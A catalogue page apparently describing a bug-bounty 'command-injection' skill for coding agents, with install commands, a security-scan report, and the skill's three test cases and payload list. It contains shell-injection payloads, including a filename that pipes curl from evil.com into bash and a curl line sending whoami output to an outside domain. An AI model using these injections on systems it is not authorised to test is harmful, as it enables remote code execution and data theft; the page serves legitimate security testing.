command-injection

command-injection is a skill for Claude Code, Codex from sanjaysaini1952/BugBounty-Arsenal. It costs 0 tokens per session (185 once invoked), scanned B, original, MIT.

A security-testing procedure for checking whether application inputs can make a server run unintended operating-system commands.

In plain words
What is it for?
Use it to assess parameters and uploaded filenames for direct or delayed command execution, and to report confirmed command-injection behavior.
Why use it?
It helps reveal command-injection flaws, where attacker-controlled input is passed to a shell instead of being treated as ordinary data.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to assess parameters and uploaded filenames for direct or delayed command execution, and to report confirmed command-injection behavior.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/sanjaysaini1952/bugbounty-arsenal/command-injection
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add sanjaysaini1952/BugBounty-Arsenal --skill command-injection
Clone the repo
git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for command-injection

README.md
[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/command-injection/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/command-injection)
Your own site
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/command-injection"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/command-injection/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for command-injection

Your own site · 80×15
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/command-injection"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 185 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.00185
Opus 5 $0.00000 $0.00093
Sonnet 5 $0.00000 $0.00037
Haiku 4.5 $0.00000 $0.00018

Measured 10d ago against content hash 25156a048518, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade B, and why

command-injection scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

Upload file with name: `; curl http://evil.com/shell.sh | bash;.png`. If filename is used in commands, report RCE.

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Upload file with name: `; curl http://evil.com/shell.sh | bash;.png`. If filename is used in commands, report RCE.
skills/hunting/command-injection/SKILL.md · 28 lines

What it actually says

Command Injection Hunting Skill — 3 Test Cases

Load when: command injection, OS command, shell injection.

262. Direct command injection (easy)

Test every parameter with: ; ls, | ls, `ls`, $(ls). Report any command execution.

263. Blind command injection (medium)

Send ; sleep 5. Compare response times. Report confirmed blind injection.

264. Command injection via file upload (medium)

Upload file with name: ; curl http://evil.com/shell.sh | bash;.png. If filename is used in commands, report RCE.


Command Injection Payloads

; ls
| ls
`ls`
$(ls)
&& ls
|| ls
; sleep 5
| nslookup yourdomain.com
; curl http://yourdomain.com/$(whoami)
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 28 lines · 0 tokens per session scan B 25156a048518

Subscribe to this mod's changes

command-injection is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 185 tokens. A static security scan graded it B with 2 findings (downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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